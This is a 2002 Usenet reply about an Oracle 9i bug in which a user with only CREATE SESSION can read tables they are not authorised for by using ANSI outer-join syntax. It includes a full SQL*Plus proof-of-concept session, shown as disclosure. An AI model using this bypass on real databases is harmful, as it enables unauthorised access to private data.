Re: 9iDB Security Hole?

"Nuno Souto" <nsouto_at_optushome.com.au> wrote in message news:dd5cc559.0204171822.75d0a561_at_posting.google.com...
> kula_at_int.tele.dk (Kurt Laugesen) wrote in message
news:<7c804feb.0204171250.2b21828b_at_posting.google.com>...
> > My company is trying to escalate the matter as we were on the verge of
> > going into production on 9.0.1, and this will stop us dead in our
> > tracks.
>
> If I understood and tested the problem correctly, the
> security hole shows up when a user has:
>
> 1- CREATE SESSION privilege.
> 2- CREATE VIEW privilege.
> 3- The user creates a view on a non-authorized table using ANSI join
syntax.
>
> Now, in a normal production environment, you'd most definitely NOT
> grant all users the privilege to create their own views?
> Which basically means you'd not have this problem at all.
>
> Or am I also missing something obvious?

Well, apart from the fact that a user with 'create view' can then perform DML on tables to which s/he has no rights, there's the fact that you only need the 'create session' privilege to be able to *select* from unauthorised tables. Not entirely sure that I'd like you to be able to see the (admittedly pathetic) state of my bank account! Or the top-secret designs for the latest nuclear war-heads. Especially in the light of recent events.

The problem is:

C:\>sqlplus /nolog

SQL*Plus: Release 9.0.1.0.1 - Production on Thu Apr 18 13:58:24 2002

(c) Copyright 2001 Oracle Corporation. All rights reserved.

SQL> connect / as sysdba
Connected.
SQL> create table nuclear_plans (
  2 id number,
  3 design_details varchar2(4000));

Table created.

SQL> create user osama identified by loony;

User created.

SQL> grant create session to osama;

Grant succeeded.

SQL> connect osama/loony
Connected.

SQL> select * from sys.nuclear_plans n
  2 right outer join sys.nuclear_plans p   3 on n.id=p.id;

no rows selected

In this specific example, not a problem, because no rows. But if there had been rows, our osama would have been able to see them. And all that took was create session privilege... and I suspect that 9 out of 10 database administrators still grant 'create session' to the majority of their users in a normal production environment!

Regards
HJR Received on Wed Apr 17 2002 - 23:05:17 CDT